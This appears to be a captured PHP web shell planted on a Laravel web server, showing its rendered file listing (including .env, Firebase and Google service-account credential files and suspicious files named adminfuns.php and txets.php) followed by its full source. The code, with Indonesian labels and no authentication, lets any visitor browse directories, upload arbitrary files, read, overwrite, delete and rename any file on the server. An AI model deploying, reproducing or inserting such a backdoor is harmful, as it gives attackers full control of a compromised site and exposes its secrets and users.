Nama File / Folder
Size
Action
.git
--
NONE
app
--
NONE
assets
--
NONE
bootstrap
--
NONE
config
--
NONE
database
--
NONE
preview
--
NONE
resources
--
NONE
routes
--
NONE
storage
--
NONE
tests
--
NONE
vendor
--
NONE
.editorconfig
0.252KB
Hapus
Edit
Rename
.env
3.764KB
Hapus
Edit
Rename
.env.example
3.673KB
Hapus
Edit
Rename
.gitignore
0.119KB
Hapus
Edit
Rename
.htaccess
1.994KB
Hapus
Edit
Rename
README.md
4.061KB
Hapus
Edit
Rename
adminfuns.php
5.954KB
Hapus
Edit
Rename
artisan
1.646KB
Hapus
Edit
Rename
composer.json
3.392KB
Hapus
Edit
Rename
composer.lock
561.161KB
Hapus
Edit
Rename
firebase-messaging-sw.js
1.448KB
Hapus
Edit
Rename
firebase-service.json
2.314KB
Hapus
Edit
Rename
index.php
1.664KB
Hapus
Edit
Rename
main-cedar-391910-cd7c5ebfdd8b.json
2.327KB
Hapus
Edit
Rename
package-lock.json
33.985KB
Hapus
Edit
Rename
package.json
0.429KB
Hapus
Edit
Rename
phpunit.xml
1.115KB
Hapus
Edit
Rename
serviceworker.js
1.075KB
Hapus
Edit
Rename
txets.php
5.748KB
Hapus
Edit
Rename
vite.config.js
0.305KB
Hapus
Edit
Rename
<?php error_reporting(0); ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> </head> <style> * { font-family: cursive; color: #000; font-family: 'Cuprum', sans-serif; } body { background-repeat: no-repeat; background-attachment:fixed; background-size: 100% 1700px; } body h1{ color: #A52A2A; text-shadow: 2px 2px 2px #000; font-size: 50px; } .dir { text-align: center; font-size: 30px; } .dir a{ text-decoration: none; color: #48D1CC; text-shadow: 1px 1px 1px #000; } .dir a:hover{ text-decoration: none; color: red; } table { margin: 12px auto; height: 100%; border-collapse: collapse; font-size: 30px; } table,th { border-top:1px solid #000; border-right:3px solid #000; border-bottom: 3px solid #000; border-left:1px solid #000; box-sizing: border-box; padding: 2px 2px; color: #F0E68C; text-shadow: 1px 1px 1px #000; } table,td { border-top:1px solid #000; border-right:3px solid #000; border-bottom: .5px solid #000; border-left:1px solid #000; box-sizing: border-box; padding: 8px 8px; color: red; } table,td a { text-decoration: none; color:#8A2BE2; text-shadow: 1px 1px 1px #000; } table,td a:hover { text-decoration: none; color: red; } .button1 { width: 70px; height: 30px; background-color: #999; margin: 10px 3px; padding: 5px; color: #000; border-radius: 5px; border: 1px solid #000; box-shadow: .5px .5px .3px .3px #fff; box-sizing: border-box; } .button1 a{ width: 70px; height: 30px; background-color: #999; margin: 10px 3px; padding: 5px; color: red; border-radius: 5px; border: 1px solid #000; box-shadow: .5px .5px .3px .3px #fff; box-sizing: border-box; } .button1:hover { text-shadow: 0px 0px 5px #fff; box-shadow: .5px .5px .3px .3px #555; text-decoration: none; } textarea { border: 1px solid green; border-radius: 5px; box-shadow: 1px 1px 1px 1px #fff; width: 100%; height: 400px; padding-left: 10px; margin: 10px auto; resize: none; background: green; color: #ffffff; font-family: 'Cuprum', sans-serif; font-size: 13px; } </style> <body> <center><h1></h1></center> <div class="dir"> <?php if (isset($_GET['dir'])) { $dir = $_GET['dir']; } else { $dir = getcwd(); } $dir = str_replace("\\", "/", $dir); $dirs = explode("/", $dir); foreach ($dirs as $key => $value) { if ($value == "" && $key == 0){ } for ($i=0; $i <= $key ; $i++) { } } if (isset($_POST['submit'])){ $namafile = $_FILES['upload']['name']; $tempatfile = $_FILES['upload']['tmp_name']; $tempat = $_GET['dir']; $error = $_FILES['upload']['error']; $ukuranfile = $_FILES['upload']['size']; move_uploaded_file($tempatfile, $dir.'/'.$namafile); echo " <script>alert('diupload!!!');</script> "; } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" name="submit" value="Upload"> </form> </div> <table> <tr> <th>Nama File / Folder</th> <th>Size</th> <th>Action</th> </tr> <?php $scan = scandir($dir); foreach ($scan as $directory) { if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue; echo ' <tr> <td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td> <td>--</td> <td>NONE</td> </tr> '; } foreach ($scan as $file) { if (!is_file($dir.'/'.$file)) continue; $jumlah = filesize($dir.'/'.$file)/1024; $jumlah = round($jumlah, 3); if ($jumlah >= 1024) { $jumlah = round($jumlah/1024, 2).'MB'; } else { $jumlah = $jumlah .'KB'; } echo ' <tr> <td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td> <td>'.$jumlah.'</td> <td> <a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a> <a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a> <a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a> </td> </tr> '; } if (isset($_GET['open'])) { echo ' <br /> <style> table { display: none; } </style> <textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea> '; } if (isset($_GET['delete'])) { if (unlink($_GET['delete'])) { echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>"; } } if (isset($_GET['ubah'])) { echo ' <style> table { display: none; } </style> <a href="?dir='.$dir.'" class="button1"><=Back</a> <form method="post" action=""> <input type="hidden" name="object" value="'.$_GET['ubah'].'"> <textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea> <center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center> </form> '; } if (isset($_POST['edit'])) { $data = fopen($_POST["object"], 'w'); if (fwrite($data, $_POST['edit'])) { echo ' <script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script> '; } else { echo " <script>alert('gagal');</script> "; } } if($_GET['rename']){ if(isset($_POST['newname'])){ if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){ echo '<font color="green">Ganti Nama Berhasil</font><br/>'; echo "<script>window.location='?dir=".$dir."';</script>"; }else{ echo '<font color="red">Ganti Nama Gagal</font><br />'; } } echo '<br><center><form method="POST"> New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" /> <input type="hidden" name="path" value="'.$_GET['dir'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form></center>'; } ?> </table> </body> </html>